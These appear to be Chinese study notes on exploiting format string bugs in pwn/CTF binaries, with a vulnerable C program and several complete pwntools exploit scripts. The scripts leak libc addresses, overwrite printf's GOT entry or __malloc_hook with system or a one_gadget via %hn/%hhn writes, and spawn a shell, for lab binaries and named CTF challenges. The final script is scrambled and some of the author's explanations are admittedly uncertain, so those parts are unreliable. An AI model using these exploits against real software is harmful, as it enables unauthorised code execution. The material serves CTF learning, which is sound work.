pwn入门-栈上格式化字符串 你想有多pwn 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #include <stdio.h> #include <stdlib.h> #include <unistd.h> int init_func () { setvbuf(stdin ,0 ,2 ,0 ); setvbuf(stdout ,0 ,2 ,0 ); setvbuf(stderr ,0 ,2 ,0 ); return 0 ; } int dofunc () { char buf[0x100 ] ; while (1 ){ puts ("input:" ); read(0 ,buf,0x100 ); if (!strncmp (buf,"quit" ,4 )) break ; printf (buf); } return 0 ; } int main () { init_func(); dofunc(); return 0 ; }
第7个参数(算上0)
找到偏移
任意地址写入
修改什么地方的值
栈 :可以把返回地址改成system(/bin/sh)
got表项(partial reload):print表项。把buf改成bin sh,print改成system表项
onegadget
malloc_hook:printf
iofile
怎么找到system地址
先泄露got表地址
如有PIE,需利用内存中和有的地址来间接计算(最好泄露返回地址)
把上面的改成一个地址,然后把88改成4
32位栈很长,stack80
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *context(log_level='debug' ,arch='i386' , os='linux' ) pwnfile= './fmt_str_level_1_x86' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) libc = elf.libc io.recvuntil('input:\n' ) payload_search_main = b'%75$p' gdb.attach(io) io.send(payload_search_main) main_30 = int (io.recv()[2 :10 ],16 ) main_addr = main_30 - 30 offset = elf.symbols['main' ] - elf.got['puts' ] puts_got = main_addr - offset print ("puts_got is :" , hex (puts_got))
printf地址是0xffffcf70
返回地址是0xffffd09c
%75$p可以泄露main+30地址
0x5655638e
到这里先停一下,有点乱,捋一下
1️⃣ 为什么要找 main
的返回地址?
在开启 PIE时,程序的地址空间是随机的。泄露某个已知的地址可以帮助我们计算程序的基地址。
main
的返回地址是存储在栈上的。我们通过格式化字符串漏洞泄露 main
的返回地址,可以间接推算出 main
函数的真实地址,从而计算出程序基地址(即加载偏移量)。
2️⃣ 为什么要求 main_addr
?
通过 main
返回地址泄露,能够反推出 main
函数的真实地址。
main_addr
是程序的基地址加上 main
函数的相对偏移。
一旦知道了 main_addr
,可以用它计算程序的基地址,基地址 = main_addr
- main
的偏移 。
这个地址是真实地址,而elf.symbols[‘main’]
所以下面的代码,其实也有两种写法,先继续介绍视频的解法
3️⃣ 为什么 offset = elf.symbols['main'] - elf.got['put']
就能算出偏移?
elf.symbols['main']
:这是 main
函数在可执行文件中的偏移(相对于程序基地址)。
elf.got['puts']
:这是 puts
的 GOT 表地址(相对于基地址)。
两者的差值 offset
是固定的,表示 main
和 puts
的 GOT 表之间的偏移。
在泄露出 main_addr
后,通过 main_addr - offset
,我们可以计算出 puts
的 GOT 表地址。
elf.symbols[‘main’]= 基地址+main地址
elf.got[‘put’] = 基地址+ put地址
两者都有基地址
因此 offset = elf.symbols['main'] - elf.got['put']
算的是两者之间的地址差
4️⃣ puts_got = main_addr - offset
是在做什么?
这一操作的目的是通过 main_addr
计算 puts
的 GOT 表地址。
我们前面得到了offset,可以间接计算出 puts
的 GOT 表在内存中的实际地址。
5️⃣ GOT 表项起到什么作用?为什么要修改?
GOT 表的作用:
GOT 表存储了外部函数的实际地址(例如 puts
的真实地址)。
动态链接的程序在第一次调用外部函数时会通过 GOT 表解析实际地址,后续直接从 GOT 表读取函数地址。
为什么要修改 GOT 表?
我们可以通过格式化字符串漏洞修改 GOT 表中的某一项为恶意地址(比如 system
)。
当程序调用这个函数时,实际上会跳转到我们指定的地址,从而执行任意命令。
最后:
当然本题我们也可以base_addr = main_addr - elf.symbols[‘main’]
算出基地址,然后把elf.got[‘put’]-base_addr算出偏移地址
有点麻烦0.0,算了(这里其实我搞错了,往下看就知道了 )
加\x00的作用
作用 1:确保字符串在 C
函数中正确终止
格式化字符串在 C
中必须以 NULL
字节 (即 \x00
)结束,表示字符串的结束符。
如果没有显式添加 \x00
,有些情况下可能会导致字符串读取过多内容(越界)或处理错误。
作用 2:防止格式化输出中包含额外数据
如果没有明确的结束符 \x00
,**send
或 recv
函数可能会将多余的无关数据一起发送或读取**。
在这种情况下,%75$p
后可能会携带垃圾数据,影响输出结果的准确性。
作用 3:避免栈数据污染:在格式化字符串攻击中,%p
的作用是输出一个指针值。如果没有明确结束符,可能会污染接下来的数据处理。
接下来做的是泄露puts的真实地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *context(log_level='debug' ,arch='i386' , os='linux' ) pwnfile= './fmt_str_level_1_x86' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) libc_file_path = '/lib/i386-linux-gnu/libc.so.6' libc = ELF(libc_file_path) io.recvuntil('input:\n' ) payload_search_main = b'%75$p' io.send(payload_search_main) main_30 = int (io.recv()[2 :10 ],16 ) main_addr = main_30 - 30 offset = elf.symbols['main' ] - elf.got['puts' ] puts_got = main_addr - offset print ("puts_got is :" , hex (puts_got))paload4searchbase = flat([puts_got, b'%7$s\x00' ]) io.send(paload4searchbase) io.recv(4 ) puts_addr = u32(io.recv(4 )) print ("puts_addr is :" , hex (puts_addr))gdb.attach(io) pause()
不要前4个
接下来是应用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 from pwn import *context(log_level='debug' , arch='i386' , os='linux' ) pwnfile = './fmt_str_level_1_x86' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) dem = 'input:\n' libc_file_path = '/lib/i386-linux-gnu/libc.so.6' libc = ELF(libc_file_path) io.recvuntil('input:\n' ) payload_search_main = b'%75$p\x00' io.send(payload_search_main) main_30 = int (io.recv()[2 :10 ], 16 ) main_addr = main_30 - 30 offset = elf.symbols['main' ] - elf.got['puts' ] puts_got = main_addr - offset print ("puts_got is :" , hex (puts_got))paload4searchbase = flat([puts_got, b'%7$s\x00' ]) io.send(paload4searchbase) io.recv(4 ) puts_addr = u32(io.recv(4 )) print ("puts_addr:" , hex (puts_addr))libc_offset_puts = libc.symbols['puts' ] libc_addr = puts_addr - libc_offset_puts print ("libc_addr:" , hex (libc_addr))system_offset = libc.symbols['system' ] system_addr = libc_addr + system_offset print ('system_addr:' , hex (system_addr))bin_sh_offset = next (libc.search(b'/bin/sh' )) bin_sh_addr = libc_addr + bin_sh_offset print ('bin_sh_addr:' , hex (bin_sh_addr))def fmt (prev, word, index ): fmtstr = "" if prev < word: result = word - prev fmtstr += "%" + str (result) + "c" elif prev == word: result = 0 else : result = 256 + word - prev fmtstr = "%" + str (result) + "c" fmtstr += "%" + str (index) + "$hhn" return fmtstr.encode('utf-8' ) def fmt_str (offset, size, addr, target ): payload = b"" for i in range (4 ): if size == 4 : payload += p32(addr + i) else : payload += p64(addr + i) prev = len (payload) for i in range (4 ): payload += fmt(prev, (target >> i * 8 ) & 0xff , offset + i) prev = (target >> i * 8 ) & 0xff return payload sys_addr_bytes = str (system_addr).encode('utf-8' ) offset = elf.symbols['main' ] - elf.got['printf' ] printf_got = main_addr - offset payload4writeprintfgot = fmtstr_payload(7 , {printf_got : system_addr}) io.sendafter(dem , payload4writeprintfgot) io.sendafter(dem , b'/bin/sh\x00' ) io.interactive()
libc_addr = main_addr - libc.symbols[‘main’]不行,所以我上面说错了,它不属于 libc
,因此不能直接用于计算 libc
的基址。
pwntools:
1 fmtstr_payload(offset,writes,numbwritten=0,write size='byte')
第一个参数表示格式化字符串的偏移:
第二个参数表示需要利用写入的数据,采用字典形式,格式{目标地址:准备修改的值】
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可:
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload
payload_fmtstr payload(offset,{address1:value1})
最终的几个问题:
获得 printf_got
的地址后,把 GOT 中 printf
的地址改成 system
的地址
效果 :结合输入的 "/bin/sh"
,触发 system("/bin/sh")
,从而获得一个 shell。
示例:如何把 sys_addr_bytes
写入到目标地址(GOT 表)
payload4writeprintfgot = p32(printf_got) + b”%” + sys_addr_bytes + b”c%7$hhn\x00”怎么理解?
我也不会,如果有人想通了可以告诉我
这是我目前的理解:
假如要改写成0x08048420
我们是诸字节修改,就比如先修改0x20,也就是%20c,生成了20个字符,字符数就是20,那么最后写入就是20(这只是我的猜测 ),下面的也是一样的
逐字节修改
通过格式化字符串逐字节修改 printf_got
:
先修改 printf_got
的最低字节为 0x20
。
再修改次低字节为 0x84
。
然后修改次高字节为 0x04
。
最后修改最高字节为 0x08
。
32位
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 from pwn import *context(log_level='debug' , arch='amd64' , os='linux' ) pwnfile = './fmt_str_level_1_x64' io = process(pwnfile) elf = ELF(pwnfile) rop = ROP(pwnfile) dem = 'input:\n' libc_file_path = '/lib/x86_64-linux-gnu/libc.so.6' libc = ELF(libc_file_path) def fmt (prev, word, index ): fmtstr = "" if prev < word: result = word - prev fmtstr += "%" + str (result) + "c" elif prev == word: result = 0 else : result = 256 + word - prev fmtstr = "%" + str (result) + "c" fmtstr += "%" + str (index) + "$hhn" return fmtstr.encode('utf-8' ) def fmt_str (offset, size, addr, target ): payload = b"" for i in range (4 ): if size == 4 : payload += p32(addr + i) else : payload += p64(addr + i) prev = len (payload) for i in range (4 ): payload += fmt(prev, (target >> i * 8 ) & 0xff , offset + i) prev = (target >> i * 8 ) & 0xff return payload dem = 'input:\n' io.recvuntil('input:\n' ) payload_search_main = b'%41$p\x00' io.send(payload_search_main) main_28 = int (io.recv()[2 :14 ],16 ) main_addr = main_28 - 28 offset = elf.symbols['main' ] - elf.got['puts' ] puts_got = main_addr - offset print ("puts_got is" ,hex (puts_got))payload4searchbase = flat([b'%7$saaaa' , puts_got]) io.send(payload4searchbase) puts_addr = u64(io.recv(6 ).ljust(8 ,b"\x00" )) print ("puts_addr is" ,hex (puts_addr))libc_offset_puts = libc.symbols['puts' ] libc_addr = puts_addr - libc_offset_puts print ("libc_addr:" , hex (libc_addr))system_offset = libc.symbols['system' ] system_addr = libc_addr + system_offset print ('system_addr:' , hex (system_addr))bin_sh_offset = next (libc.search(b'/bin/sh' )) bin_sh_addr = libc_addr + bin_sh_offset print ('bin_sh_addr:' , hex (bin_sh_addr))sys_addr_bytes = str (system_addr).encode('utf-8' ) offset = elf.symbols['main' ] - elf.got['printf' ] printf_got = main_addr - offset payload4writeprintfgot = fmtstr_payload(6 , {printf_got : system_addr}) io.sendafter(dem , payload4writeprintfgot) io.sendafter(dem , b'/bin/sh\x00' ) io.interactive()
星盟 网鼎杯2018easyfmt(32位)
有几个问题,在学习国资师傅时没有处理好,这里解决了,记录下:
为什么printf_got的地址要放在两个栈上 ?
其实栈上不是直接存放printf_got而是存储指向printf_got的指针
栈中存储的是参数,比如目标地址的指针(例如0xf7e66680
和0xf7e66682
)。
%n
操作会将格式化字符串的输出字节数写入栈中的目标地址所指向的内存,而不是直接对栈上的内容操作。
因此我们在修改的时候是修改它的指向,改变指向指到system
为什么分两份而不能一份 ?
因为我们在修改时,为了修改一个4字节的地址(例如0xf7e66680
),需要分两步分别写入低2字节 和高2字节 ,每一步都需要对应的目标地址。%hn只能修改两个字节,用%n可能会出问题
栈中第一个和第二个位置存放的指向0xf7e66680和0xf7e66682地址,是什么时候指向的(什么时候被修改指向这两个地址的,什么时候在栈上的)
1 payload = p32(printf_got) + p32(printf_got + 2 )
将目标地址printf_got
(例如0xf7e66680
)和目标地址的高字节部分地址printf_got+2
(例如0xf7e66682
)以小端序的形式写入payload
。
这里的 p32()
是 pwntools
提供的函数,它将地址转换为 4 字节的小端序格式。
就已经把它放到栈上了,刚好是两个栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context.log_level='debug' io=process('./wdb_2018_2nd_easyfmt' ) elf=ELF('./wdb_2018_2nd_easyfmt' ) libc=ELF('/usr/lib/freelibs/i386/2.23-0ubuntu11.2_i386/libc-2.23.so' ) printf_got=elf.got['printf' ] payload='%3$p' io.recvuntil('Do you know repeater?\n' ) io.send(payload) sleep(0.2 ) libc_base=int (io.recv(10 ),16 )-0x9079b system_addr=libc_base+libc.symbols['system' ] log.success('libc_base => {}' .format (hex (libc_base))) log.success('system_addr => {}' .format (hex (system_addr))) system_low=system_addr&0xffff system_high=(system_addr>>16 )&0xffff payload=p32(printf_got)+p32(printf_got+2 ) payload+='%' +str (system_low-8 )+'c%6$hn' payload+='%' +str (system_high-system_low)+'c%7$hn’ io.send(payload) sleep(0.2) io.send(' /bin /sh\x00') io.interactive()
强网杯2020siri(64位 full relro) 如何利用?上一题我们劫持了程序的got表,但这一题是FULL RELRO,got表不可写。这里介绍两种利用方式:劫持malloc_hook/free_hook,劫持返回地址。
onegadget是什么?
one_gadget的一些姿势 - unr4v31 - 博客园
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *context.log_level='debug' io=process('./Siri' ) libc=ELF('./libc.so.6' ) def siri (payload ): io.recvuntil('>>> ' ) io.send('Hey Siri!' ) io.recvuntil('>>> ' ) data='Remind me to ' +payload io.send(data) siri('%83$p' ) io.recvuntil(">>> OK, I'll remind you to " ) libc_base=int (io.recv(14 ),16 )-231 -libc.symbols['__libc_start_main' ] malloc_hook=libc_base+libc.symbols['__malloc_hook' ] onegadget=libc_base+0x10a45c log.success('libc_base => {}' .format (hex (libc_base))) log.success('malloc_hook => {}' .format (hex (malloc_hook))) log.success('onegadget => {}' .format (hex (onegadget))) write_size=0 offset=55 payload='' for i in range (3 ): num=(onegadget>>(16 *i))&0xffff num-=27 if num>write_size&0xffff : payload+='%{}c%{}$hn' .format (num-(write_size&0xffff ),offset+i) write_size+=num-(write_size&0xffff ) else : payload+='%{}c%{}$hn' .format ((0x10000 -(write_size&0xffff ))+num,offset+i) write_size+=0x10000 -(write_size&0xffff )+num payload=payload.ljust(0x38 -13 ,'a' ) for i in range (3 ): payload+=p64(malloc_hook+i*2 ) siri(payload) io.recvuntil('>>> ' ) io.send('Hey Siri!' ) io.recvuntil('What Can I do for you?\n>>> ' ) io.send('Remind me to %99999c' ) io.interactive()
法2劫持返回地址 :
网鼎杯2020 quantum_entanglement 两次机会
32位程序,开启了栈不可执行和栈溢出检测
1 2 3 4 5 6 7 from pwn import * io.recv()context.log_level='debug’ io.sendline(payload2) io=process(' ./quantum_entanglement’) io.interactive()payload1='%*19$c%44$hn' payload2='%*18$c%118$n' io.recvuntil('FirstName:' ) io.sendline(payload1)
ciscn_2019_sw_1 一次机会